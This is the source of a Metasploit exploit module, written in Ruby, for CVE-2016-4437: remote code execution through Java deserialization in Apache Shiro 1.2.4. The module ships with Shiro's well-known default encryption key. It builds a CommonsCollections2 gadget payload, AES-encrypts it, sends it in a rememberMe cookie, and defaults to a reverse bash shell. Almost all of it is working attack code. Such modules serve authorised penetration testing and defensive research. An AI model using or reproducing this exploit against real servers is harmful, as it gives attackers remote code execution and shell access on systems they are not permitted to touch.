## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell include Msf::Exploit::JavaDeserialization def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE', 'Description' => %q{ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may also be exploitable if the encryption key used by Shiro to encrypt rememberMe cookies is known. }, 'License' => MSF_LICENSE, 'Author' => [ 'L / l-codes[at]qq.com' # Metasploit module ], 'References' => [ ['CVE', '2016-4437'], ['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1'] ], 'Platform' => %w[win unix], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2016-06-07', 'Privileged' => false, 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'Base directory path', '/']), OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA==']) ] ) end def aes_encrypt(payload) aes = OpenSSL::Cipher.new('aes-128-cbc') aes.encrypt aes.key = Rex::Text.decode_base64(datastore['ENC_KEY']) aes.random_iv + aes.update(payload) + aes.final end def exploit java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload) ciphertext = aes_encrypt(java_payload) base64_ciphertext = Rex::Text.encode_base64(ciphertext) send_request_cgi({ 'uri' => target_uri.path, 'method' => 'GET', 'cookie' => "rememberMe=#{base64_ciphertext}" }) end end